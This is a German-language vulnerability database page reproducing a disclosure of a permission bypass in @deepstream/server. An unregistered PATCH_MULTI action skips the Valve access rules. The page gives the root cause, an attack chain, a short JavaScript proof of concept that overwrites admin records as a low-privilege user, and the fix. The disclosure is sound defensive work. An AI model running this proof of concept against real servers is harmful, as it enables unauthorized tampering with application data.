Hoch

deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes

  • Veröffentlicht: 22.09.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The RECORD_ACTION.PATCH_MULTI action is not registered in the Valve permission system's RULES_MAP (src/services/permission/valve/rules-map.ts). When ConfigPermission.canPerformAction() is called for a PATCH_MULTI message, getRulesForMessage() returns null because the action is missing from the map. This triggers an unconditional allow (callback(..., null, true)), completely bypassing all configured Valve permission rules.

Any authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action.

Root Cause

In src/services/permission/valve/rules-map.ts lines 38-54, the RULES_MAP[TOPIC.RECORD].actions dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, RECORD_ACTION.PATCH_MULTI is absent from this map.

When getRulesForMessage() at line 86-99 encounters an action not in the map, it returns null. In config-permission.ts at line 88-93, when ruleSpecification === null, the callback is invoked with true (allow) unconditionally.

Attack Chain

  1. Attacker authenticates with any valid credentials (even a minimal-privilege user)
  2. Attacker sends a WebSocket message: {topic: RECORD, action: PATCH_MULTI, name: "admin/secret-record", parsedData: [{path: "role", data: "admin"}]}
  3. message-processor.ts:68 invokes permission check
  4. config-permission.ts:89 → getRulesForMessage() returns null for PATCH_MULTI
  5. config-permission.ts:92 → unconditional ALLOW
  6. Record transition applies the operations — arbitrary record is modified

Impact

  • Complete Valve permission bypass for record writes — all configured permission rules are irrelevant
  • Any authenticated user can overwrite any record, including admin-only records
  • Mass record overwrites can destroy application state, corrupt sessions, cause service outage
  • Only exploitable when permission.type is set to config (Valve) — the recommended production configuration per deepstream documentation
  • Default permission type none (OpenPermission) allows everything already, so default deployments are unaffected
<details><summary>Proof of Concept</summary>
js
// Connect as a minimal-privilege user
const { DeepstreamClient } = require('@deepstream/client');
const client = new DeepstreamClient('localhost:6020');
await client.login({ username: 'restricted-user', password: 'password' });

// This should be blocked by Valve permissions but isn't:
// Send raw PATCH_MULTI message to bypass all permission rules
const connection = client.getConnection();
connection.sendMessage({
  topic: 0x52, // TOPIC.RECORD
  action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value)
  name: 'admin/protected-record',
  parsedData: [
    { path: 'permissions', data: 'admin' },
    { path: 'secret', data: 'overwritten' }
  ]
});
</details>

Suggested Fix

Add PATCH_MULTI to the RULES_MAP in src/services/permission/valve/rules-map.ts:

ts
[RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE,

This maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH.

Affected Versions

All versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit 82ffa8119d8f4a8242ac5c3507469a22de746b65 but was never registered in RULES_MAP.

Credit

Vulnerability discovered by Zhixi "Jace" Sun of ASM/VI at TikTok.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @deepstream/server >= 10.1.0, < 10.1.1 10.1.1

Verweise

CVSS-Wert 8.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-862
Plattform
npm
Paket
@deepstream/server
Veröffentlicht
22.09.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-89vx-jh4q-vg3w - CC BY 4.0

Schwachstellenhistorie: @deepstream/server

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
06.2026 09.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 1

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes dieser Eintrag
    Hoch · 8.8 CVE-2026-63116 >= 10.1.0, < 10.1.1 10.1.1
  2. Kritisch · 9.9 CVE-2026-49252 < 10.0.5 10.0.5

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.